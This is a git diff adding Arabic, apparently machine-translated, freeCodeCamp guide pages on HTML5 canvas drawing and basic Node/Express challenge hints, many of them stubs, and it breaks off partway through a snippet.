+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
+*   [HTMLCanvasElement.getContext () (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext)
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/canvas-dimensions/index.md b/client/src/guide/arabic/canvas/canvas-dimensions/index.md
new file mode 100644
index 0000000000..5314ca308d
--- /dev/null
+++ b/client/src/guide/arabic/canvas/canvas-dimensions/index.md
@@ -0,0 +1,30 @@
+---
+title: Canvas Dimensions
+localeTitle: أبعاد قماش
+---
+## أبعاد قماش
+
+تتحكم خصائص `width` `height` في حجم اللوحة. تتحكم هذه السمات في حجم الرسم القماشي ، وليس الحجم المعروض الفعلي.
+
+شاهد [الأبعاد التجريبية](https://codepen.io/alanluo/pen/jLWMmM/) لـ Pen [Canvas](https://codepen.io/alanluo/pen/jLWMmM/) بواسطة Alan Luo ( [alanluo](https://codepen.io/alanluo) ) على [CodePen](https://codepen.io) .
+
+في القلم أعلاه ، تحتوي كل من عناصر `canvas` على نفس الأبعاد المحددة من خلال CSS. ومع ذلك ، يوجد لدى المرتين ضعف الارتفاع الذي تم ضبطه من خلال سمة `height` ، مما يؤدي إلى جعل نفس المستطيل نفسه يصبح نصف الطول.
+
+يمكن أن يسبب ذلك مشاكل عند الرغبة في إنشاء لوحة بحجم ديناميكي. بالنسبة إلى instnace ، قد تحتاج إلى إنشاء لوحة ملء الشاشة ، أو استخدام لوحة رسومات كصورة مصغرة.
+
+لجعل حجم سياق الرسم يتطابق مع الحجم المعروض لعنصر `canvas` ، يتعين علينا فرض هذا في الوقت الفعلي. إحدى الممارسات الشائعة هي وضع المعالج التالي في `onResize` إصغاء `onResize` .
+
+ `// somewhere early in the script 
+ var canvas = document.getElementById("canvas"); 
+ ... 
+ 
+ window.addEventListener("resize", function() { 
+    canvas.setAttribute("width", canvas.scrollWidth); 
+    canvas.setAttribute("height", canvas.scrollHeight); 
+    console.log(canvas.offsetWidth); 
+ }); 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/index.md b/client/src/guide/arabic/canvas/index.md
new file mode 100644
index 0000000000..7d2e6d3234
--- /dev/null
+++ b/client/src/guide/arabic/canvas/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas
+localeTitle: اللوحة القماشية
+---
+## HTML5 قماش
+
+Canvas هي تقنية مقدمة في HTML5 والتي يمكن الوصول إليها بواسطة علامة `<canvas>` . فهو يتيح رسم الرسومات عبر جافا سكريبت ، وهو أداة قوية للتفاعل على الويب.
+
+#### معلومات اكثر:
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/particle-sim/index.md b/client/src/guide/arabic/canvas/particle-sim/index.md
new file mode 100644
index 0000000000..f3cb75ad98
--- /dev/null
+++ b/client/src/guide/arabic/canvas/particle-sim/index.md
@@ -0,0 +1,91 @@
+---
+title: Particle Sim
+localeTitle: الجسيمات نعم
+---
+## محاكاة الجسيمات في قماش
+
+في هذا الدليل ، سنقوم ببناء محاكاة للجسيمات الأساسية في Canvas باستخدام مبادئ بسيطة من الرسوم المتحركة.
+
+سنرغب في إنشاء مجموعة من الجسيمات مع التسارع والسرعات. سنقوم بإنشاء 100 جسيم في نقاط عشوائية على اللوحة.
+
+ `canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var particles = []; 
+ for(var i=0; i<100; i++) { 
+  particles.push( 
+    { 
+      x:Math.random()*canvas.width, 
+      y:Math.random()*canvas.height, 
+      vx:0, 
+      vy:0, 
+      ax:0, 
+      ay:0 
+    } 
+  ); 
+ } 
+` 
+
+في حلقة الرسم لدينا ، نقدم هذه الجسيمات.
+
+ `function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+ 
+    // render state 
+    ctx.beginPath(); 
+    ctx.arc(particles[i].x, particles[i].y, 5, 0, 2*Math.PI); 
+    ctx.fill(); 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+` 
+
+الآن ، كل ما نحتاجه هو تحديث السرعة وتسريع كل إطار. سنضيف التسارع إلى السرعة وإضافة السرعة إلى الموضع.
+
+ `function draw() { 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+    particles[i].x+=particles[i].vx; 
+    particles[i].y+=particles[i].vy; 
+    particles[i].vx+=particles[i].ax; 
+    particles[i].vy+=particles[i].ay; 
+ 
+    /* render code */ 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+` 
+
+هذا هو! كل ما يتعين علينا القيام به هو خلق قوة في مكان ما. دعونا نفعل ذلك مع مستمع النقر.
+
+ `canvas.addEventListener("click", function(e) { 
+  var clickX = e.clientX-canvas.offsetLeft; 
+  var clickY = e.clientY-canvas.offsetTop; 
+  for(var i=0; i<particles.length; i++) { 
+    var delx = particles[i].x-clickX; 
+    var dely = particles[i].y-clickY; 
+    var magnitudeSquared = Math.pow(delx, 2)+Math.pow(dely, 2); 
+ 
+ 
+    particles[i].ax = 0.1*delx/magnitudeSquared; 
+    particles[i].ay = 0.1*dely/magnitudeSquared; 
+ 
+  } 
+ }); 
+` 
+
+هذا يضيف قوة عبر قانون مربع معكوس. انظر [هذه الصفحة](#placeholder) لمزيد من التفاصيل.
+
+هذا كل شئ! codepen النهائي:
+
+شاهد Pen [Particle Sim (FCC)](https://codepen.io/alanluo/pen/OjMbpm/) بواسطة Alan Luo ( [alanluo](https://codepen.io/alanluo) ) على [CodePen](https://codepen.io) .
+
+#### معلومات اكثر:
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/paths/index.md b/client/src/guide/arabic/canvas/paths/index.md
new file mode 100644
index 0000000000..68efa62f0a
--- /dev/null
+++ b/client/src/guide/arabic/canvas/paths/index.md
@@ -0,0 +1,78 @@
+---
+title: Paths
+localeTitle: مسارات
+---
+## مسارات في قماش
+
+المسارات هي لبنة الرسم في Canvas. المسار هو مجرد شكل. ثم ، يمكن رسم الشكل إما عن طريق التمسيد عليه أو تعبئته.
+
+يمكننا خلق مسارات استخدام مع `beginPath` ، `fill` ، و `stroke` .
+
+ `ctx.beginPath(); 
+ ctx.rect(0, 0, 100, 100); 
+ ctx.fillStyle="black"; 
+ ctx.fill(); 
+` 
+
+يؤدي هذا إلى إنشاء مربع أسود في الزاوية العلوية اليمنى من اللوحة القماشية. يمكننا تغيير `strokeStyle` والتعبئات باستخدام `strokeStyle` و `fillStyle` ، `fillStyle` سلاسل ألوان تشبه CSS. يمكننا أيضا استخدام `lineWidth` لجعل السكتات الدماغية أكثر سمكا.
+
+ `ctx.beginPath(); 
+ ctx.moveTo(0,0); 
+ ctx.lineTo(300,150); 
+ ctx.moveTo(0, 100); 
+ ctx.lineTo(300, 250); 
+ 
+ ctx.strokeStyle="red"; 
+ ctx.lineWidth=2; 
+ ctx.stroke(); 
+` 
+
+هناك أربع وظائف الرسم الأساسية: `rect` ، `moveTo` ، `lineTo` ، و `arc` .
+
+*   يضيف المستطيل `rect(x, y, width, height)` مستطيلاً تم إنشاؤه من ( `x` ، `y` ) من الأبعاد ( `width` `height` ) إلى المسار.
+*   `moveTo(x,y)` بنقل القلم إلى نقطة على اللوحة
+*   `lineTo(x,y)` تحريك القلم إلى نقطة على اللوحة ، ثم يضيف خطًا بين النقطة الجديدة والنقطة القديمة إلى المسار.
+*   يضيف `arc(x, y, r, ti, tf)` قوس (جزء من دائرة) عند ( `x` ، `y` ) ، ونصف قطر `r` ، ومن زاوية `ti` إلى `tf` إلى المسار.
+
+لاحظ أن هذه الوظائف تضيف إلى مسار العمل. لا ينشئون مسارات جديدة.
+
+ `//example 1 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+ 
+ //example 2 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.beginPath(); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+` 
+
+`beginPath` المثال الأول مربعين ، بينما يرسم الثاني مربعًا واحدًا منذ أن قام `beginPath` من المستطيل الأول على مسار العمل القديم.
+
+هذه الحقيقة تؤدي إلى خطأ شائع في صنع الرسوم المتحركة `canvas` .
+
+ `var x = 0; 
+ var y = 0; 
+ function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+ 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+  x+=1; 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ 
+ window.requestAnimationFrame(draw); 
+` 
+
+الرسم المتحرك أعلاه ، الذي من المفترض أن يقوم بتحريك مربع عبر الشاشة ، ينشئ شريط أسود طويل بدلاً من ذلك. السبب هو أن `beginPath` لا يسمى داخل حلقة `draw` .
+
+لقراءة المزيد عن الرسوم المتحركة ، انظر صفحة [الرسوم المتحركة](/articles/canvas/animation-in-canvas/) .
+
+#### معلومات اكثر:
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
new file mode 100644
index 0000000000..88ba0967bd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Exercise Tracker
+localeTitle: متتبع التمرين
+---
+## متتبع التمرين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
new file mode 100644
index 0000000000..067060286b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: File Metadata Microservice
+localeTitle: الملف الفوقية ميكروسيرفيسي
+---
+## الملف الفوقية ميكروسيرفيسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
new file mode 100644
index 0000000000..f7b7bb3e47
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices Projects
+localeTitle: مشاريع APIs و Microservices
+---
+## مشاريع APIs و Microservices
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
new file mode 100644
index 0000000000..8f1bb02544
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Request Header Parser Microservice
+localeTitle: طلب رأس محلل ميكروسيرفيسي
+---
+## طلب رأس محلل ميكروسيرفيسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
new file mode 100644
index 0000000000..6f33053cea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Timestamp Microservice
+localeTitle: Timestamp Microservice
+---
+## Timestamp Microservice
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
new file mode 100644
index 0000000000..4eab5ca7ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: URL Shortener Microservice
+localeTitle: URL Shortener Microservice
+---
+## URL Shortener Microservice
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
new file mode 100644
index 0000000000..4308b3deff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
@@ -0,0 +1,20 @@
+---
+title: Chain Middleware to Create a Time Server
+localeTitle: سلسلة Middleware لإنشاء خادم الوقت
+---
+## سلسلة Middleware لإنشاء خادم الوقت
+
+على غرار التحدي الأخير ، ولكن الآن نحن تسلسل وظيفتين معا. يبدو معقدًا ، لكنه مجرد جافا سكريبت.
+
+بدلاً من الاستجابة مع الوقت ، يمكننا أيضًا إضافة سلسلة إلى الطلب وتمريرها إلى الوظيفة التالية. هذا تافه ، لكنه يجعل مثالًا جيدًا. يبدو الرمز مثل:
+
+ `app.get("/now", middleware(req, res, next) { 
+  req.string = "example"; 
+  next(); 
+ }, 
+  function (req, res) { 
+      res.send(req.string); // This will display "example" to the user 
+  }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
new file mode 100644
index 0000000000..9c027dd6ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Data from POST Requests
+localeTitle: الحصول على البيانات من طلبات POST
+---
+## الحصول على البيانات من طلبات POST
+
+تماما مثل استخدام req.query يمكننا أن نفعل req.body للحصول على بياناتنا. يشبه هذا التحدي إلى حد كبير "الحصول على إدخال معلمة طلب البحث من العميل".
+
+للحصول على بيانات من طلب النشر ، يكون التنسيق العام هو:
+
+ `app.post(PATH, function(req, res) { 
+  // Handle the data in the request 
+ }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..46f2323642
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Query Parameter Input from the Client
+localeTitle: الحصول على إدخال معلمة طلب البحث من العميل
+---
+## الحصول على إدخال معلمة طلب البحث من العميل
+
+إعطاء التلميح بعد كعب الروتين ، "/ الاسم الأول = وأخيرا = ، "يمكننا بناء الاستجابة مثل:
+
+ ` app.get("/name", function(req, res) { 
+   var firstName = req.query.first; 
+   var lastName = req.query.last; 
+   // Send the json object 
+ }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..9c644b29b8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
@@ -0,0 +1,15 @@
+---
+title: Get Route Parameter Input from the Client
+localeTitle: الحصول على إدخال معلمة المسار من العميل
+---
+## الحصول على إدخال معلمة المسار من العميل
+
+إذا طلب منك أحد الأشخاص إنشاء GET أو POST ، فستفعل app.get (…) أو app.post (…) وفقًا لذلك. الهيكل الأساسي للتحدي هو:
+
+ `app.get("/:word/echo", function(req, res) { 
+  // word = req.params.word; 
+  // respond with the json object 
+ }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
new file mode 100644
index 0000000000..a4eaf2b14b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
@@ -0,0 +1,23 @@
+---
+title: Implement a Root-Level Request Logger Middleware
+localeTitle: تنفيذ برنامج طلب تسجيل مستوى الجذر الوسيطة
+---
+## تنفيذ برنامج طلب تسجيل مستوى الجذر الوسيطة
+
+من الأسهل كتابة هذا التحدي في الأعلى (يوجد بالفعل كعب له). ويرجع ذلك إلى أنه يجب وضع البرامج الوسيطة في المكالمات التي ترغب في استخدامها.
+
+لإعداد البرنامج الوسيط الخاص بك ، يمكنك القيام بذلك كما يلي:
+
+ `app.use(function middleware(req, res, next) { 
+  // Do something 
+  // Call the next function in line: 
+  next(); 
+ }); 
+` 
+
+إذا واجهتك مشكلة في تنسيق السلسلة بشكل صحيح ، فستبدو طريقة واحدة لتنفيذها كما يلي:
+
+ `  var string = req.method + ' ' + req.path + ' - ' + req.ip; 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/index.md
new file mode 100644
index 0000000000..32e28b0a68
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Node and Express
+localeTitle: العقدة الأساسية و Express
+---
+## العقدة الأساسية و Express
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
new file mode 100644
index 0000000000..4d702c322f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
@@ -0,0 +1,17 @@
+---
+title: Meet the Node console
+localeTitle: تعرف على وحدة التحكم في العقدة
+---
+## تعرف على وحدة التحكم في العقدة
+
+تأكد من أنك استنسخت مشروع مستودع / خلل الصحيح وتكتب التعليمات البرمجية في myapp.js.
+
+هناك العديد من الطرق المتاحة من وحدة تحكم العقدة. يمكنك العثور على قائمة بهذه الطرق مع وثائق Node.js [هنا](https://nodejs.org/dist/latest-v10.x/docs/api/console.html) قد يكون الاستخدام الشائع لتسجيل الأخطاء مثل:
+
+ `    console.log("An error happened"); 
+` 
+
+### إذا كنت تستخدم خلل
+
+*   لقد غيّر Glitch زر "Logs" إلى الزر "Status" ، في الجزء العلوي الأيسر ، تحت اسم التطبيق
+*   لا تقدم الصفحة "تحرير" مباشرة. انقر فوق الزر "إظهار" (في الأعلى) وقم بتقديم عنوان url الخاص بصفحة عرض التطبيق (تنسيق url يشبه https://appname.glitch.me/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
new file mode 100644
index 0000000000..b1df1887f2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
@@ -0,0 +1,18 @@
+---
+title: Serve an HTML File
+localeTitle: تخدم ملف HTML
+---
+## تخدم ملف HTML
+
+ربما تحتاج إلى التعليق على التحدي الأخير. إذا كان لديك موقع ويب وترغب في عرض ملف index.html ، فربما تريد وضع هذا في مجلد عام. هذا لضمان أن الجمهور لا يرى شيئًا لا تريده ، ويطلق عليه أحيانًا اسم "عام" أو "مشاهدات" ، ولكن يمكنك من الناحية الفنية تسمية أي شيء تريده.
+
+لتقديم ملف index.html في مجلد يسمى "عام" في النطاق الجذر ، يمكنك القيام بذلك على النحو التالي:
+
+ `  app.get("/", function(req, res) { 
+        res.sendFile( __dirname + "/public/index.html"); 
+  }); 
+` 
+
+ملاحظة: \_\_dirname يرجع الدليل الجذر هو أفضل الممارسات لمطوري العقدة.
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
new file mode 100644
index 0000000000..eb6e52ea13
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
@@ -0,0 +1,14 @@
+---
+title: Serve JSON on a Specific Route
+localeTitle: خدمة JSON على طريق معين
+---
+## خدمة JSON على طريق معين
+
+من البسيط أن تخدم كائن json بعقدة (على المسار '/ json') ، إذا أردنا تسليم رسالة وإعطائها القيمة "Hello World" ، يمكننا القيام بذلك على النحو التالي:
+
+ `  app.get("/json", function(req, res) { 
+        res.json({"message": "Hello World"}); 
+  }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
new file mode 100644
index 0000000000..f3517ab9a8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
@@ -0,0 +1,16 @@
+---
+title: Serve Static Assets
+localeTitle: خدمة الأصول الثابتة
+---
+## خدمة الأصول الثابتة
+
+صفحات الويب الثابتة بسيطة إلى حد ما مع التعبير السريع. قد يكون هذا مفيدًا لإنشاء موقع الويب الخاص بك أو المدونة الخاصة بك ، إلخ.
+
+لعرض صفحة ويب ثابتة من مجلد "طرق العرض" ، يمكنك استخدام رمز مثل:
+
+ ` const express = require("express"); 
+ const app = express(); 
+ app.use(express.static(__dirname + "/views")); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
new file mode 100644
index 0000000000..e434897e17
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
@@ -0,0 +1,21 @@
+---
+title: Start a Working Express Server
+localeTitle: بدء تشغيل خادم اكسبرس العمل
+---
+## بدء تشغيل خادم اكسبرس العمل
+
+إذا كان لديك موقع ويب على "example.com/" وأردت تقديم سلسلة مثل "Hello World" لمن يزور النطاق الجذر ، فيمكنك إجراء ذلك بسهولة باستخدام العقدة و / أو التعبير السريع:
+
+ `app.get("/", function(req, res) { 
+  res.send("Hello World"); 
+ }); 
+` 
+
+أيضًا ، باستخدام ES6 + يمكنك حفظ بعض الكتابة باستخدام "=>" بدلاً من "الوظيفة" ، والتي تبدو كالتالي:
+
+ `app.get("/", (req, res) => { 
+  res.send("Hello World"); 
+ }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
new file mode 100644
index 0000000000..f680df2fc8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
@@ -0,0 +1,16 @@
+---
+title: Use body-parser to Parse POST Requests
+localeTitle: استخدام محلل الجسم إلى Parse POST الطلبات
+---
+## استخدام محلل الجسم إلى Parse POST الطلبات
+
+يجب إضافة محلل الجسد بالفعل إلى مشروعك إذا كنت تستخدم النص المتوفر ، ولكن إذا لم يكن كذلك ، فيجب أن يكون موجودًا على النحو التالي:
+
+ `"dependencies": { 
+    "body-parser": "^1.4.3", 
+    ... 
+` 
+
+ما عليك القيام به لهذا التحدي هو تمرير الوسيطة إلى app.use (). تأكد من أنها تأتي قبل المسارات التي تحتاج إلى استخدامها.
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
new file mode 100644
index 0000000000..f51071f4c7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
@@ -0,0 +1,22 @@
+---
+title: Use the .env File
+localeTitle: استخدم ملف .env
+---
+## استخدم ملف .env
+
+يمكننا استخدام طريقة. toUpperCase () لإنشاء سلسلة جميع الأحرف الكبيرة ، مثل:
+
+ `  var response = "Hello World".toUpperCase(); // now becomes "HELLO WORLD" 
+` 
+
+كل ما نحتاج إلى القيام به الآن هو التحقق من قيمة متغير البيئة ، والتي يمكنك القيام بها مثل:
+
+ `   if (process.env.VAR_NAME === "allCaps") { 
+    resonse = "Hello World".toUpperCase(); 
+   } else { 
+    response = "Hello World"; 
